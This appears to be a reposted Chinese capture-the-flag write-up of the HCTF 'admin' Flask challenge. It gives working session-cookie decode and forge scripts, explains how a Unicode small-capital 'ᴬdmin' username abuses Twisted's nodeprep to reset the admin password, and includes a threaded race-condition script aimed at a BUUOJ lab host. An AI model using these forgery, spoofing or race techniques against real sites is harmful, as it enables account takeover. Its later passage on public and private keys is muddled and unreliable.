HCTFadmin–关于flasksession的伪造和unicode的欺骗

CTF题目

地址:HCTF-admin

可以直接登录,利用弱口令

login页面,账号:admin,密码:123,就直接得到flag

首先进去看到几个界面,login,register,和登录成功后(自己注册然后登录)的四个界面。

然后在index页面源码发现提示, you are not admin,估计题目是让我们登录成admin,然后出flag,于是想到change password功能,可能可以通过改密码功能的漏洞改掉admin密码,然后以admin登录。

于是跳到change password页面,看看有没有进一步的发现,也是在网页源代码处发现了提示,这个提示直接把网站项目的github地址给了出来。

打开是一个flask项目,那就直接先奔路由去看一下,打开route.py,看一下index的注册函数代码

@app.route('/')
@app.route('/index')
def index():
    return render_template('index.html', title = 'hctf')

发现index注册函数没做什么处理,直接返回index.html渲染模版,于是我们看一下templates/index.html代码

{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {{ session['name'] }}h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}h1>
{% endif %}

<h1 class="nav">Welcome to hctfh1>

{% include('footer.html') %}

后面的部分代码

@app.route('/register', methods = ['GET', 'POST'])
def register():

    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = RegisterForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        if session.get('image').lower() != form.verify_code.data.lower():
            flash('Wrong verify code.')
            return render_template('register.html', title = 'register', form=form)
        if User.query.filter_by(username = name).first():
            flash('The username has been registered')
            return redirect(url_for('register'))
        user = User(username=name)
        user.set_password(form.password.data)
        db.session.add(user)
        db.session.commit()
        flash('register successful')
        return redirect(url_for('login'))
    return render_template('register.html', title = 'register', form = form)

@app.route('/login', methods = ['GET', 'POST'])
def login():
    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = LoginForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        session['name'] = name
        user = User.query.filter_by(username=name).first()
        if user is None or not user.check_password(form.password.data):
            flash('Invalid username or password')
            return redirect(url_for('login'))
        login_user(user, remember=form.remember_me.data)
        return redirect(url_for('index'))
    return render_template('login.html', title = 'login', form = form)

@app.route('/logout')
def logout():
    logout_user()
    return redirect('/index')

@app.route('/change', methods = ['GET', 'POST'])
def change():
    if not current_user.is_authenticated:
        return redirect(url_for('login'))
    form = NewpasswordForm()
    if request.method == 'POST':
        name = strlower(session['name'])
        user = User.query.filter_by(username=name).first()
        user.set_password(form.newpassword.data)
        db.session.commit()
        flash('change successful')
        return redirect(url_for('index'))
    return render_template('change.html', title = 'change', form = form)

flask的session是存储在客户端cookie中的,而且flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的。还有些session是存储在数据库中或者服务器的文件里。

参考:flask的session是存储在客户端cookie中的,而且flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的

解题:

首先我们需要将抓包得到的session解密一下


import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))
&#x547D;&#x4EE4;&#x884C;
python3 1.py session&#x5185;&#x5BB9;

解密后,我们还需要找到SECRET_KEY

搜索flask的SECRET_KEY,我们知道在config.py

SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'

可能SECRET_KEY就是ckj123

然后在index.html页面发现只要session[‘name’] == ‘admin’即可以得到flag

{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {{ session['name'] }}</h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}
<!-- you are not admin -->
<h1 class="nav">Welcome to hctf</h1>

{% include('footer.html') %}

改变解密后的name=admin

继续加密,加密脚本

""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

import sys
import zlib
from itsdangerous import base64_decode
import ast

if sys.version_info[0] < 3:
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4:
    from abc import ABCMeta, abstractmethod
else:
    from abc import ABC, abstractmethod

import argparse

from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key

if sys.version_info[0] == 3 and sys.version_info[1] < 4:
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e

        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else:
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e

        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e

if __name__ == "__main__":

    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='',
                                help='Session cookie structure', required=True)

    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='',
                                help='Session cookie value', required=True)

    args = parser.parse_args()

    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))
&#x811A;&#x672C;&#x6709;&#x89E3;&#x5BC6;&#x3001;&#x52A0;&#x5BC6;&#x4E24;&#x79CD;&#x529F;&#x80FD;&#xFF0C;&#x5177;&#x4F53;&#x7528;&#x6CD5;&#x5982;&#x4E0B;
&#x89E3;&#x5BC6;:python flask_session_manager.py decode -c -s # -c&#x662F;flask cookie&#x91CC;&#x7684;session&#x503C; -s&#x53C2;&#x6570;&#x662F;SECRET_KEY
&#x52A0;&#x5BC6;:python flask_session_manager.py encode -s -t # -s&#x53C2;&#x6570;&#x662F;SECRET_KEY -t&#x53C2;&#x6570;&#x662F;session&#x7684;&#x53C2;&#x7167;&#x683C;&#x5F0F;&#xFF0C;&#x4E5F;&#x5C31;&#x662F;session&#x89E3;&#x5BC6;&#x540E;&#x7684;&#x683C;&#x5F0F;

得到签名后的session后,我们替换cookie就行了

注意的是

&#x5173;&#x4E8E;&#x8FD9;&#x4E2A;&#x811A;&#x672C;&#xFF0C;&#x5176;&#x5B9E;&#x5728;&#x8FD0;&#x884C;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x6211;&#x53D1;&#x73B0;&#x4E86;&#x70B9;&#x95EE;&#x9898;&#xFF0C;&#x5C31;&#x662F;&#x5F53;&#x4F60;&#x89E3;&#x5BC6;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x8981;&#x7528;&#x5230; -s -c&#x4E24;&#x4E2A;&#x53C2;&#x6570;&#xFF0C;linux&#x4E0B;&#xFF0C;&#x53EF;&#x4EE5;&#x7528;'&#x6216;"&#x5305;&#x56F4;&#xFF0C;&#x800C;windows&#x4E0B;&#x53EA;&#x80FD;&#x7528;"&#xFF0C;&#x5426;&#x5219;&#x4F1A;&#x62A5;&#x9519;&#x3002;&#x7136;&#x540E;&#x52A0;&#x5BC6;&#x7684;&#x8BDD;&#xFF0C;windows&#x80FD;&#x591F;&#x751F;&#x6210;&#x52A0;&#x5BC6;&#x540E;&#x7684;session&#xFF0C;&#x4F46;&#x662F;&#x7528;&#x5B83;&#x6765;&#x66FF;&#x6362;&#x6389;index&#x9875;&#x9762;&#x7684;session&#x7684;&#x8BDD;&#x4E0D;&#x8D77;&#x4F5C;&#x7528;(&#x4EB2;&#x6D4B;)&#xFF0C;&#x4E00;&#x5F00;&#x59CB;&#x6211;&#x5728;windows&#x4E0B;&#x9762;&#x8BD5;&#x7684;&#xFF0C;&#x7ED3;&#x679C;&#x4E00;&#x81F4;&#x51FA;&#x4E0D;&#x6765;flag&#xFF0C;&#x540E;&#x9762;&#x7A81;&#x7136;&#x60F3;&#x5230;&#x7528;linux&#x8BD5;&#x4E00;&#x4E0B;&#xFF0C;&#x624D;&#x53D1;&#x73B0;&#x8FD9;&#x4E2A;&#x95EE;&#x9898;(2333)&#x3002;&#x7136;&#x540E;&#x6BCF;&#x6B21;&#x52A0;&#x5BC6;&#x751F;&#x6210;&#x7684;session&#x662F;&#x4E0D;&#x4E00;&#x6837;&#x7684;&#xFF0C;&#x731C;&#x6D4B;&#x5E94;&#x8BE5;&#x662F;&#x91CC;&#x9762;&#x52A0;&#x5165;&#x4E86;&#x65F6;&#x95F4;&#x6233;&#x4FE1;&#x606F;

strlower()导致的欺骗

@app.route('/register', methods = ['GET', 'POST'])
def register():

    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = RegisterForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        if session.get('image').lower() != form.verify_code.data.lower():
            flash('Wrong verify code.')
            return render_template('register.html', title = 'register', form=form)
        if User.query.filter_by(username = name).first():
            flash('The username has been registered')
            return redirect(url_for('register'))
        user = User(username=name)
        user.set_password(form.password.data)
        db.session.add(user)
        db.session.commit()
        flash('register successful')
        return redirect(url_for('login'))
    return render_template('register.html', title = 'register', form = form)

@app.route('/login', methods = ['GET', 'POST'])
def login():
    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = LoginForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        session['name'] = name
        user = User.query.filter_by(username=name).first()
        if user is None or not user.check_password(form.password.data):
            flash('Invalid username or password')
            return redirect(url_for('login'))
        login_user(user, remember=form.remember_me.data)
        return redirect(url_for('index'))
    return render_template('login.html', title = 'login', form = form)

@app.route('/logout')
def logout():
    logout_user()
    return redirect('/index')

@app.route('/change', methods = ['GET', 'POST'])
def change():
    if not current_user.is_authenticated:
        return redirect(url_for('login'))
    form = NewpasswordForm()
    if request.method == 'POST':
        name = strlower(session['name'])
        user = User.query.filter_by(username=name).first()
        user.set_password(form.newpassword.data)
        db.session.commit()
        flash('change successful')
        return redirect(url_for('index'))
    return render_template('change.html', title = 'change', form = form)

发现都使用了strlower()函数

def strlower(username):
    username = nodeprep.prepare(username)
    return username

这里用到了 nodeprep.prepare函数,而nodeprep是从twisted模块中导入的 from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep,在requirements.txt文件中,发现这里用到的twisted版本是 Twisted==10.2.0.

这里原理就是利用nodeprep.prepare函数会将unicode字符 &#x1D2C;转换成 A,而 A在调用一次nodeprep.prepare函数会把 A转换成 a
所以当我们用 &#x1D2C;dmin注册的话,后台代码调用一次nodeprep.prepare函数,把用户名转换成 Admin,我们用 &#x1D2C;dmin进行登录,可以看到index页面的username变成了 Admin,证实了我们的猜想,接下来我们就想办法让服务器再调用一次nodeprep.prepare函数即可。

然后发现在改密码的代码中也用到了nodeprep.prepare函数,也就是说,我们在这里改密码的话,先会把username改为 admin,从而改掉 admin的密码。去login就可以直接登录了。

关于编码的查询:https://unicode-table.com/en/search/?q=small+capital

所以,直接将编码查询的结果(admin)去注册,然后登录,改密码,再次登录admin就可以了。

在session赋值时,登录、注册都是直接进行赋值,未进行安全验证,也就可能存在以下一种可能:
我们注册一个用户test,现在有一个进程1一直重复进行登录、改密码操作,进程2一直注销,且以admin用户和进程1所改的密码进行登录,是不是有可能当进程1进行到改密码操作时,进程2恰好注销且要进行登录,此时进程1改密码需要一个session,而进程2刚好将session[‘name’]赋值为admin,然后进程1调用此session修改密码,即修改了admin的密码。

看网上写的

import requests
import threading

def login(s, username, password):
    data = {
        'username': username,
        'password': password,
        'submit': ''
    }
    return s.post("http://db0fc0e1-b704-4643-b0b6-d39398ff329a.node1.buuoj.cn/login", data=data)

def logout(s):
    return s.get("http://db0fc0e1-b704-4643-b0b6-d39398ff329a.node1.buuoj.cn/logout")

def change(s, newpassword):
    data = {
        'newpassword':newpassword
    }
    return s.post("http://db0fc0e1-b704-4643-b0b6-d39398ff329a.node1.buuoj.cn/change", data=data)

def func1(s):
    login(s, 'test', 'test')
    change(s, 'test')

def func2(s):
    logout(s)
    res = login(s, 'admin', 'test')
    if 'flag' in res.text:
        print('finish')

def main():
    for i in range(1000):
        print(i)
        s = requests.Session()
        t1 = threading.Thread(target=func1, args=(s,))
        t2 = threading.Thread(target=func2, args=(s,))
        t1.start()
        t2.start()

if __name__ == "__main__":
    main()

其他知识点

1.关于flask的serect_key

&#x5982;&#x679C;&#x9047;&#x5230;&#x4E86; Must provide secret_key to use csrf&#x9519;&#x8BEF;&#x63D0;&#x9192;&#xFF0C;&#x539F;&#x56E0;&#x5C31;&#x662F;&#x6CA1;&#x6709;&#x8BBE;&#x7F6E;secret_key &#xFF0C;&#x5728;&#x4EE3;&#x7801;&#x4E2D;&#x52A0;&#x4E0A;

app.config[‘SECRET_KEY’]=’xxx’

SECRET_KEY&#x6700;&#x597D;&#x4E0D;&#x8981;&#x5199;&#x5728;&#x4EE3;&#x7801;&#x4E2D;&#x3002;
&#x6700;&#x597D;&#x8BBE;&#x7F6E;&#x4E00;&#x4E2A;config.py&#x6587;&#x4EF6;&#xFF0C;&#x4ECE;&#x4E2D;&#x8BFB;&#x53D6;&#x8BE5;&#x5185;&#x5BB9;
config.py

CSRF_ENABLED = True
SECRET_KEY = ‘you-will-never-guess’

CSRF_ENABLED = True
SECRET_KEY = &#x2018;you-will-never-guess&#x2018;

app.py

app.config.from_object(&#x2018;config&#x2018;)

app.config.from_object(‘config’)
这样就可以防止csrf了

2.关于加密和签名的区别

&#x6570;&#x636E;&#x7B7E;&#x540D;&#x548C;&#x6570;&#x636E;&#x52A0;&#x5BC6;&#x7684;&#x8FC7;&#x7A0B;&#x90FD;&#x662F;&#x4F7F;&#x7528;&#x516C;&#x5F00;&#x7684;&#x5BC6;&#x94A5;&#x7CFB;&#x7EDF;&#xFF0C;&#x4F46;&#x5B9E;&#x73B0;&#x7684;&#x8FC7;&#x7A0B;&#x6B63;&#x597D;&#x76F8;&#x53CD;&#xFF0C;

&#x6570;&#x636E;&#x52A0;&#x5BC6;&#x4F7F;&#x7528;&#x7684;&#x662F;&#x63A5;&#x53D7;&#x65B9;&#x7684;&#x5BC6;&#x94A5;&#x5BF9;&#xFF0C;&#x4EFB;&#x4F55;&#x77E5;&#x9053;&#x63A5;&#x53D7;&#x65B9;&#x516C;&#x94A5;&#x7684;&#x90FD;&#x53EF;&#x4EE5;&#x5411;&#x63A5;&#x53D7;&#x65B9;&#x53D1;&#x9001;&#x6D88;&#x606F;&#xFF0C;&#x4F46;&#x662F;&#x53EA;&#x6709;&#x62E5;&#x6709;&#x79C1;&#x94A5;&#x7684;&#x624D;&#x80FD;&#x89E3;&#x5BC6;&#x51FA;&#x6765;&#xFF1B;

&#x6570;&#x636E;&#x7B7E;&#x540D;&#x4F7F;&#x7528;&#x7684;&#x662F;&#x53D1;&#x9001;&#x65B9;&#x7684;&#x5BC6;&#x94A5;&#x5BF9;&#xFF0C;&#x4EFB;&#x4F55;&#x63A5;&#x53D7;&#x65B9;&#x90FD;&#x53EF;&#x4EE5;&#x7528;&#x516C;&#x94A5;&#x89E3;&#x5BC6;&#xFF0C;&#x9A8C;&#x8BC1;&#x6570;&#x636E;&#x7684;&#x6B63;&#x786E;&#x6027;&#x3002;

&#x4E00;&#x53E5;&#x8BDD;&#x603B;&#x7ED3;&#xFF1A;

&#x6570;&#x636E;&#x52A0;&#x5BC6;&#x4FDD;&#x8BC1;&#x4E86;&#x6570;&#x636E;&#x63A5;&#x53D7;&#x65B9;&#x7684;&#x6570;&#x636E;&#x5B89;&#x5168;&#x6027;&#x3002;

&#x6570;&#x636E;&#x7B7E;&#x540D;&#x4FDD;&#x8BC1;&#x4E86;&#x6570;&#x636E;&#x53D1;&#x9001;&#x65B9;&#x7684;&#x6570;&#x636E;&#x5B89;&#x5168;&#x6027;&#x3002;

&#x5C31;&#x62FF;A&#x7ED9;B&#x53D1;&#x9001;&#x7ECF;&#x8FC7;&#x7B7E;&#x540D;&#x52A0;&#x5BC6;&#x4FE1;&#x606F;&#x6765;&#x8BF4;&#xFF1A;
1&#x3001;A&#x5BF9;&#x4FE1;&#x606F;&#x7B7E;&#x540D;&#x7684;&#x4F5C;&#x7528;&#x662F;&#x786E;&#x8BA4;&#x8FD9;&#x4E2A;&#x4FE1;&#x606F;&#x662F;A&#x53D1;&#x51FA;&#x7684;&#xFF0C;&#x4E0D;&#x662F;&#x522B;&#x4EBA;&#x53D1;&#x51FA;&#x7684;&#xFF1B;
2&#x3001;&#x52A0;&#x5BC6;&#x662F;&#x5BF9;&#x5185;&#x5BB9;&#x8FDB;&#x884C;&#x673A;&#x5BC6;&#x6027;&#x4FDD;&#x62A4;&#xFF0C;&#x4E3B;&#x8981;&#x662F;&#x4FDD;&#x8BC1;&#x4FE1;&#x606F;&#x5185;&#x5BB9;&#x4E0D;&#x4F1A;&#x88AB;&#x5176;&#x4ED6;&#x4EBA;&#x83B7;&#x53D6;&#xFF0C;&#x53EA;&#x6709;B&#x53EF;&#x4EE5;&#x83B7;&#x53D6;&#x3002;

&#x4E5F;&#x5C31;&#x662F;&#x4FDD;&#x8BC1;&#x6574;&#x4E2A;&#x8FC7;&#x7A0B;&#x7684;&#x7AEF;&#x5230;&#x7AEF;&#x7684;&#x552F;&#x4E00;&#x786E;&#x5B9A;&#x6027;&#xFF0C;&#x8FD9;&#x4E2A;&#x4FE1;&#x606F;&#x662F;A&#x53D1;&#x51FA;&#x7684;&#xFF08;&#x4E0D;&#x662F;&#x522B;&#x4EBA;&#xFF09;&#xFF0C;&#x4E14;&#x662F;&#x53D1;&#x7ED9;B&#x7684;&#xFF0C;&#x53EA;&#x6709;B&#x624D;&#x88AB;&#x83B7;&#x5F97;&#x5177;&#x4F53;&#x5185;&#x5BB9;&#xFF08;&#x522B;&#x4EBA;&#x5C31;&#x7B97;&#x622A;&#x83B7;&#x4FE1;&#x606F;&#x4E5F;&#x4E0D;&#x80FD;&#x83B7;&#x5F97;&#x5177;&#x4F53;&#x5185;&#x5BB9;&#xFF09;&#x3002;

&#x8FD9;&#x53EA;&#x662F;&#x5927;&#x6982;&#x8BF4;&#x4E86;&#x4F5C;&#x7528;&#xFF0C;&#x5177;&#x4F53;&#x8BF4;&#x6765;&#xFF0C;&#x6D89;&#x53CA;&#x5230;&#x5BC6;&#x94A5;&#x76F8;&#x5173;&#x7684;&#x4E1C;&#x897F;&#x3002;&#x5BC6;&#x94A5;&#x6709;&#x516C;&#x94A5;&#x548C;&#x79C1;&#x94A5;&#x4E4B;&#x5206;&#x3002;

&#x90A3;&#x4E48;&#x8FD9;&#x91CC;&#x4E00;&#x5171;&#x6709;&#x4E24;&#x7EC4;&#x56DB;&#x4E2A;&#x5BC6;&#x94A5;&#xFF1A;A&#x7684;&#x516C;&#x94A5;&#xFF08;PUB_A&#xFF09;&#xFF0C;A&#x7684;&#x79C1;&#x94A5;&#xFF08;PRI_A&#xFF09;&#xFF1B;B&#x7684;&#x516C;&#x94A5;&#xFF08;PUB_B&#xFF09;&#xFF0C;B&#x7684;&#x79C1;&#x94A5;&#xFF08;PRI_B&#xFF09;&#x3002;

&#x516C;&#x94A5;&#x4E00;&#x822C;&#x7528;&#x6765;&#x52A0;&#x5BC6;&#xFF0C;&#x79C1;&#x94A5;&#x7528;&#x6765;&#x7B7E;&#x540D;&#x3002;

&#x901A;&#x5E38;&#x516C;&#x94A5;&#x662F;&#x516C;&#x5F00;&#x51FA;&#x53BB;&#x7684;&#xFF0C;&#x4F46;&#x662F;&#x79C1;&#x94A5;&#x53EA;&#x80FD;&#x81EA;&#x5DF1;&#x79C1;&#x5BC6;&#x6301;&#x6709;&#x3002;

&#x516C;&#x94A5;&#x548C;&#x79C1;&#x94A5;&#x552F;&#x4E00;&#x5BF9;&#x5E94;&#xFF0C;&#x7528;&#x67D0;&#x4E2A;&#x516C;&#x94A5;&#x7B7E;&#x540D;&#x8FC7;&#x5F97;&#x5185;&#x5BB9;&#x53EA;&#x80FD;&#x7528;&#x5BF9;&#x5E94;&#x7684;&#x79C1;&#x94A5;&#x624D;&#x80FD;&#x89E3;&#x7B7E;&#x9A8C;&#x8BC1;&#xFF1B;&#x540C;&#x6837;&#x7528;&#x67D0;&#x4E2A;&#x79C1;&#x94A5;&#x52A0;&#x5BC6;&#x7684;&#x5185;&#x5BB9;&#x53EA;&#x80FD;&#x7528;&#x5BF9;&#x5E94;&#x7684;&#x516C;&#x94A5;&#x624D;&#x80FD;&#x89E3;&#x5BC6;&#x3002;

&#x8FD9;&#x65F6;A&#x5411;B&#x53D1;&#x9001;&#x4FE1;&#x606F;&#x7684;&#x6574;&#x4E2A;&#x7B7E;&#x540D;&#x548C;&#x52A0;&#x5BC6;&#x7684;&#x8FC7;&#x7A0B;&#x5982;&#x4E0B;&#xFF1A;
1&#x3001;A&#x5148;&#x7528;&#x81EA;&#x5DF1;&#x7684;&#x79C1;&#x94A5;&#xFF08;PRI_A&#xFF09;&#x5BF9;&#x4FE1;&#x606F;&#xFF08;&#x4E00;&#x822C;&#x662F;&#x4FE1;&#x606F;&#x7684;&#x6458;&#x8981;&#xFF09;&#x8FDB;&#x884C;&#x7B7E;&#x540D;&#x3002;
2&#x3001;A&#x63A5;&#x7740;&#x4F7F;&#x7528;B&#x7684;&#x516C;&#x94A5;&#xFF08;PUB_B&#xFF09;&#x5BF9;&#x4FE1;&#x606F;&#x5185;&#x5BB9;&#x548C;&#x7B7E;&#x540D;&#x4FE1;&#x606F;&#x8FDB;&#x884C;&#x52A0;&#x5BC6;&#x3002;

&#x8FD9;&#x6837;&#x5F53;B&#x63A5;&#x6536;&#x5230;A&#x7684;&#x4FE1;&#x606F;&#x540E;&#xFF0C;&#x83B7;&#x53D6;&#x4FE1;&#x606F;&#x5185;&#x5BB9;&#x7684;&#x6B65;&#x9AA4;&#x5982;&#x4E0B;&#xFF1A;
1&#x3001;&#x7528;&#x81EA;&#x5DF1;&#x7684;&#x79C1;&#x94A5;&#xFF08;PRI_B&#xFF09;&#x89E3;&#x5BC6;A&#x7528;B&#x7684;&#x516C;&#x94A5;&#xFF08;PUB_B&#xFF09;&#x52A0;&#x5BC6;&#x7684;&#x5185;&#x5BB9;&#xFF1B;
2&#x3001;&#x5F97;&#x5230;&#x89E3;&#x5BC6;&#x540E;&#x7684;&#x660E;&#x6587;&#x540E;&#x7528;A&#x7684;&#x516C;&#x94A5;&#xFF08;PUB_A&#xFF09;&#x89E3;&#x7B7E;A&#x7528;A&#x81EA;&#x5DF1;&#x7684;&#x79C1;&#x94A5;&#xFF08;PRI_A&#xFF09;&#x7684;&#x7B7E;&#x540D;&#x3002;

&#x4ECE;&#x800C;&#x6574;&#x4E2A;&#x8FC7;&#x7A0B;&#x5C31;&#x4FDD;&#x8BC1;&#x4E86;&#x5F00;&#x59CB;&#x8BF4;&#x7684;&#x7AEF;&#x5230;&#x7AEF;&#x7684;&#x552F;&#x4E00;&#x786E;&#x8BA4;&#x3002;A&#x7684;&#x7B7E;&#x540D;&#x53EA;&#x6709;A&#x7684;&#x516C;&#x94A5;&#x624D;&#x80FD;&#x89E3;&#x7B7E;&#xFF0C;&#x8FD9;&#x6837;B&#x5C31;&#x80FD;&#x786E;&#x8BA4;&#x8FD9;&#x4E2A;&#x4FE1;&#x606F;&#x662F;A&#x53D1;&#x6765;&#x7684;&#xFF1B;A&#x7684;&#x52A0;&#x5BC6;&#x53EA;&#x6709;B&#x7684;&#x79C1;&#x94A5;&#x624D;&#x80FD;&#x89E3;&#x5BC6;&#xFF0C;&#x8FD9;&#x6837;A&#x5C31;&#x80FD;&#x786E;&#x8BA4;&#x8FD9;&#x4EFD;&#x4FE1;&#x606F;&#x53EA;&#x80FD;&#x88AB;B&#x8BFB;&#x53D6;&#x3002;
&#x53C2;&#x8003;&#xFF1A;https://www.cnblogs.com/wgj-master/p/10435753.html

3.关于session,cookie和token

https://cloud.tencent.com/developer/article/1704064

4.关于python格式化字符串的漏洞

https://xz.aliyun.com/t/3569
https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html

Original: https://blog.csdn.net/unexpectedthing/article/details/121197774
Author: Z3eyOnd
Title: HCTFadmin–关于flasksession的伪造和unicode的欺骗

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/749917/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球